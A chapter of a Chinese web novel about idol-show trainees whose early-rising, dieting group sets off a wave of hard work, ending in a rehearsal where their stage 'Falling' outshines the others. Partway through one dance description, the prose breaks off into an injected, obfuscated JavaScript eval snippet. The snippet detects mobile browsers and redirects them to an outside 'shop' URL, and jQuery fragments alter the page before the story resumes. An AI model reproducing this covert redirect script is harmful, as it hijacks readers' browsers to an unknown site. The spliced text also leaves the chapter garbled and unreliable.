节目组的工作人员们最近总觉得哪里不太对。


    起初只是零星的发现——早上六点经过练习室走廊时，里面居然传出了音乐声。几个工作人员对视一眼，以为是自己听错了。这个点，练习生们不都应该在睡觉吗？


    但第二天、第三天，音乐声依然准时响起。


    然后是食堂。


    负责打饭的阿姨们发现，这几天来窗口打减脂餐的练习生肉眼可见地变多了。


    以前一天也就零星几个人，现在一到饭点，窗口前排起的长队能把旁边红烧肉窗口的客流都抢走。


    “你们这是集体减肥？”阿姨笑着问一个扎着发带的练习生。


    对方苦着脸点头：“卷起来了，不减肥不行。”


    阿姨没听懂“卷”是什么意思，但她看得懂那些盘子：鸡胸肉、西兰花、糙米饭，一模一样的三件套，吃得一个个面如菜色，但第二天又准时出现在队伍里。


    再然后是晚上的宿舍。


    往常总是能在宿舍里打打闹闹到后半夜的练习生们，现在早早的就熄灯睡觉，丝毫没有了年轻人的‘活力’。


    不对劲。


    这很不对劲。


    录制了这么多季选秀节目，好些工作人员都是老手。


    他们见过努力的练习生——哪一季没有几个拼命三郎？


    但他们从没见过这么大规模的、近乎传染式的努力。


    好像一夜之间，所有人都被按下了什么开关。


    负责巡查的工作人员最早发现端倪。


    他每天早上六点打卡上班，连着三天在走廊遇见从安组的人。


    一个，三个，然后是——


    “六个人都齐了？”他透过门上的玻璃，探头朝练习室看。


    里面六名练习生，正在镜子前练习。


    早上六点在练习室集体练习，这可真是前所未见。


    而后，就像传染一样，早起练习的人越来越多了。


    直到所有人，都早早的出现在练习室。


    简直是神了。


    起的比工作人员还早！


    与此同时，食堂里减脂餐的窗口前排起的长队也越来越壮观，晚上练习室熄灭的灯光越来越晚。


    工作人员们终于明白了。


    这一切，起始于从安组。


    他们早睡早起，第一个到练习室。


    他们每天吃减脂餐，为了上镜效果。


    他们用最笨也最有效的方式，一点一点地磨着那个叫《坠落》的舞台。


    然后安文乐组感受到了压力——他们和从安组同在一个练习室，每天看着对方练，怎么可能无动于衷？


    两组的较劲很快波及到其他练习生。


    走廊里流传着《坠落》组有多卷的传闻，食堂里大家看着别人吃减脂餐，自己碗里的红烧肉突然就不香了。


    于是，像多米诺骨牌一样，一间接一间的练习室亮起了早灯，一张接一张的餐盘换成了鸡胸肉。


    “这届练习生……”工作人员们互相讨论时，语气里带着感慨，“不一般啊。”


    *


    一周的时间，就这样在汗水与鸡胸肉中流过。


    彩排日到了。


    下午两点，所有练习生在大练习室集合。


    今天没有直播，没有观众，只有节目组的工作人员和拍摄用的摄像机。


    但所有人都知道，今天的彩排，是对过去一周努力的一次检验。


    十六支队伍，按歌曲顺序轮流上场。


    工作人员们三三两两聚在监视器后面，一边调试设备，一边低声交谈。


    “你觉得哪组会最好？”灯光师碰了碰旁边的摄像。


    摄像正调试着镜头参数，闻言头也不抬：“都不好吧。第一次彩排，能在舞台上完整地把表演顺下来就不错了。记错动作、忘词、找不到镜头……这都正常。毕竟是练习生，才练了一周，别抱太大期望。”


    “话是这么说……”灯光师咂咂嘴，“但我听说师启那组练得挺狠的。他以前在国外不是差点出道吗？水平应该可以吧。”


    “师启啊……”摄像师想了想，“确实，他那组配置也不错。不过《机械心跳》那个舞不好跳，卡点太密了。”


    “柯子晋呢？”旁边的收音师插话，“光芒娱乐的，大公司出来的，肯定不差吧。”


    “《燎原》那个强度，一周能跳下来就不错了。”摄像师终于调试完镜头，直起腰来，“不过我听说他们组每天练到很晚，应该有戏。”


    “没人说从安吗？”角落里一直没说话的道具师突然开口。


    几双眼睛同时看向他。


    “从安？”灯光师挑眉，“你说那个去年没成团的？”


    “嗯。”道具师点头，“他们组真的很拼。我听说他们每天第一个来，最后一个走。而且你们没发现吗？最近食堂减脂餐窗口排长队，就是从他们组带起来的。”


    摄像师沉吟了一下：“从安的实力……我知道，主题曲C位嘛。但去年没成团这事儿，怎么说呢……”


    “你是说他实力不行？”道具师追问。


    “不是不行。”摄像师摆摆手，“但如果他实力真的够硬，去年也不至于出不了道吧？成团夜那会儿我也在，他们那个团……”他顿了顿，没把后半句说出来。


    “那是去年的事了。”道具师有些不以为然，“今年他进步了不行吗？你看他那脸，刚来的时候什么样，现在什么样？能把自己减成那样的人，我不信他进步不了。”


    “有道理。”收音师附和，“而且他们组那个F班的C位，叫什么来着，许安霖？听说他之前跳舞跟木棍似的，现在好像也能看了。”


    “你们说得我都想看了。”灯光师搓搓手，“赶紧开始吧。”


    正说着，导演的声音从对讲机里传来：“各组就位！彩排五分钟后开始！第一组，《破晓之前》！”


    *


    彩排进行了一天。


    从下午一点，持续到晚上八点。


    每一首歌曲的两支队伍一起来彩排，就这样一组接一组，每一组都在镜头前跳了一遍接一遍。


    工作人员们从一开始的漫不经心，到后来一个个盯着监视器移不开眼。


    《破晓之前》组，查舟带队。


    混血的长相在舞台灯光下格外耀眼，动作干净利落，高音稳稳托住。


    虽然有几个走位稍显生疏，但整体流畅度远超预期。


    灯光倒吸一口凉气：“这叫‘第一次彩排’？”


    《机械心跳》组，师启带队。


    科技感的编舞被他们跳出了未来战士的感觉，卡点精准得像


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176402|190127||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是用尺子量过。


    队形变换时，七个人像一组精密的齿轮，咬合得严丝合缝。


    摄像盯着监视器，没想到他也有看走眼的一天。


    《燎原》组，柯子晋带队。


    高燃炸裂的电子舞曲，七个人跳出了千军万马的气势。动作整齐度惊人，连抬手的角度都几乎一样。最后ending pose时，柯子晋的眼神锐利得能穿透屏幕。


    灯光拍着摄像的肩，喃喃自语：“这……这是练习了一周？”


    不知是在问自己，还是在问摄像。


    《逆流》组、《野火》组、《糖衣炮弹》组……


    一组接一组上场，一组接一组交出了远超预期的答卷。


    直到最后一组——


    《坠落》。


    舞台灯光暗下，音乐从低沉的贝斯线开始，像夜色里弥漫的雾气。


    六个人影在舞台上散开。


    从安站在最中央的后面，李瑞在左前，车明杰在右前，沈言和楚沛在两翼，许安霖在最前方，最中心的位置。


    音乐渐强。


    他们开始动了。


    不是那种炸裂的刀群舞，而是一种更微妙的东西。


    身体的律动像潮水，一波一波地蔓延。


    眼神的交错像拉扯，欲拒还迎。


    每一个转身、每一次停顿，都带着一种说不清道不明的张力。


    监视器前的工作人员们不自觉地屏住了呼吸。


    许安霖转身。


    那个一周前还僵硬得像木棍的动作，此刻流畅得像水。


    他转过来时，视线落在空中某个点，然后身体才跟过去，形成一种微妙的、被什么力量牵引着的感觉。


    他的眼神里有一种东西——脆弱，空茫，像在坠落中放弃了挣扎，又像在坠落中抓住了什么。


    然后是车明杰的Dance Break。


    他滑步上前，身体像被什么力量击中般wave，然后骤然停顿。


    手腕的角度，重心的转移，眼神与镜头的拉扯——每一处都充满细节。


    副歌高潮时，六个人汇聚到舞台中央。


    许安霖在最前面，从安在他身后半步，其他人如潮水般环绕。


    他们一起做了一个缓慢的下沉动作，像是被什么力量拖曳着，一寸一寸地坠落。


    监视器前，有人忍不住闭上了眼睛。


    音乐结束，灯光骤暗。


    三秒后，工作人员们才反应过来——


    结束了。


    而这，还只是练习七天之后的第一次彩排而已。


    “好，非常好！”秀导语气激动，他的声音通过麦克风，传遍整个演播厅。


    他快步走上舞台，和从安等人说刚才彩排过程中还需要改进的地方。


    “你觉得哪组最好？”灯光师又凑到了摄像师身边。


    “你还来问我？”摄像瞥了一眼灯光师，“你自己有答案了吧。”


    灯光师耸耸肩，没说话。


    摄像师低头看着镜头里的人影，心里不断闪过每一组彩排的画面。


    今天彩排的舞台每一个都很好，比往些年的好了太多，但这些好，却让人忍不住遗憾。


    因为有一组，好的格外突出。


    但赢家，只能有一个。